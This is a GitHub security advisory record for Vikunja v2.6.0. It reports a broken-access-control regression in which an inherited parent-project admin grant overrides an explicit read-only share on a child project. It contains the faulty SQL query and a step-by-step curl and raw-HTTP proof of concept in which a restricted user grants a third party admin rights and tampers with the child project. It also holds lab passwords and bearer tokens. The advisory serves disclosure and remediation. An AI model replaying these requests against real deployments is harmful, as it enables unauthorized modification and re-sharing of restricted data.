{"id":"GHSA-pjr3-86v4-5p7w","summary":"Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)","details":"## Description\n\n### Summary\n\nIn Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as\nthe **MAX over the entire reachable project subtree**. As a result, when a user has been granted a\n**higher** permission on a parent project and the owner *explicitly* shares a **child** project with\nthat same user at a **lower** permission (an intended down-restriction), the explicit lower grant is\n**silently ignored** and the user receives the higher, inherited permission on the child. A user\nwho was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it,\ndelete it, and re-share it (including granting other users admin) - none of which the owner intended.\nThis is a behavior regression from v2.5.0, whose engine used \"nearest-ancestor-grant-wins\" semantics\nthat honored the explicit child grant.\n\n### Details\n\nEffective permissions are computed by a single recursive CTE in\n`pkg/models/project_access.go` (`getProjectAccessForUser`):\n\n```sql\nWITH RECURSIVE grants (project_id, permission) AS (\n    SELECT project_id, MAX(permission) FROM (\n        SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?\n        UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?\n        UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp\n                  INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?\n    ) direct_grants GROUP BY project_id\n),\ntree (id, permission) AS (\n    SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id\n    UNION\n    SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id\n)\nSELECT id, MAX(permission) AS permission FROM tree GROUP BY id\n```\n\nFor a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with\n`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows\n`(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The\nfinal `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The\nexplicit READ grant on `C` is discarded.\n\nIn v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor\nwins), so the child's own direct grant took precedence and the down-restriction was honored. The switch\nto `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the\nadditive behavior as intentional (\"a grant on a descendant can raise an inherited permission, never\nlower it\"), so the maintainers may consider this working-as-intended - but it is a security-relevant\nregression that silently defeats an explicit, owner-configured access restriction, so it is reported\nhere for a decision.\n\n### PoC\n\nTarget: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`\n(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: **`PUT` =\ncreate, `POST` = update**. All values below are the **real, unredacted** values from the run.\n\n#### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)\n\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"VikunjaLab123!\"}'\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"alice\",\"password\":\"AliceLab123!\"}'\n```\n\nReal tokens issued:\n```\nadmin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg\nalice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\n```\n\n#### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)\n\n```bash\n# parent (id 18)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"FinanceRoot\"}'\n# child of parent 18 (id 19)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"Q4-Payroll-CONFIDENTIAL\",\"parent_project_id\":18}'\n# standalone control (id 20)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"ControlStandalone\"}'\n```\nResult: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.\n\n#### Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)\n\n```bash\ncurl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":2}'   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":0}'   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":0}'   # -\u003e 201\n```\n\nConfirm the recorded child grant is READ(0):\n```bash\ncurl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer \u003cadmin-token\u003e'\n# -\u003e [{\"id\":..,\"username\":\"alice\",\"permission\":0, ...}]     (0 = Read only)\n```\n\n#### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \\\n  -d '{\"username\":\"bob\",\"permission\":2}'\n```\n\n**Burp / raw HTTP request**\n\n```http\nPUT /api/v1/projects/19/users HTTP/1.1\nHost: localhost:3456\nUser-Agent: curl/8.20.0\nAccept: */*\nContent-Type: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\nContent-Length: 33\n\n{\"username\":\"bob\",\"permission\":2}\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 201 Created\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 128\n\n{\"id\":12,\"username\":\"bob\",\"permission\":2,\"created\":\"2026-09-07T17:39:34.158776607Z\",\"updated\":\"2026-09-07T17:39:34.158778081Z\"}\n```\n\nalice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management\noperation that requires project admin). She can equally modify it:\n\n```bash\n# write op (POST = update); succeeds -\u003e HTTP 200\ncurl -s -o /dev/null -w '%{http_code}\\n' -X POST http://localhost:3456/api/v1/projects/19 \\\n  -H 'Content-Type: application/json' -H 'Authorization: Bearer \u003calice-token\u003e' \\\n  -d '{\"title\":\"Q4-Payroll-TAMPERED-BY-ALICE\"}'\n# -\u003e 200\n```\n\n#### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003calice-token\u003e' -d '{\"username\":\"bob\",\"permission\":0}'\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 403 Forbidden\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 33\n\n{\"code\":0,\"message\":\"Forbidden\"}\n```\n\nThe single-variable differential: alice's identical READ(0) grant denies the admin operation on a\nstandalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is\nsilently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the\ninherited-permission override, not to alice's explicit grant.\n\n### Impact\n\nThis is a **broken access control / improper privilege management** issue (CWE-269). A project owner who\ngrants a collaborator a high permission on a parent project and then explicitly shares a sensitive\nsub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the\nrestriction they configured: the collaborator silently retains the higher inherited permission on the\nsub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:\ngranting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant\nconfiguration and can expose or allow tampering with data on sub-projects that were meant to be\nrestricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The\nprerequisite is that the attacker already holds a higher permission on an ancestor project; the security\nloss is specifically the inability to enforce a narrower permission on a descendant.","modified":"2026-10-09T21:15:04.861196263Z","published":"2026-10-09T20:57:44Z","database_specific":{"cwe_ids":["CWE-269","CWE-284"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-09T20:57:44Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pjr3-86v4-5p7w"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"}],"affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"versions":["2.6.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-pjr3-86v4-5p7w/GHSA-pjr3-86v4-5p7w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}]}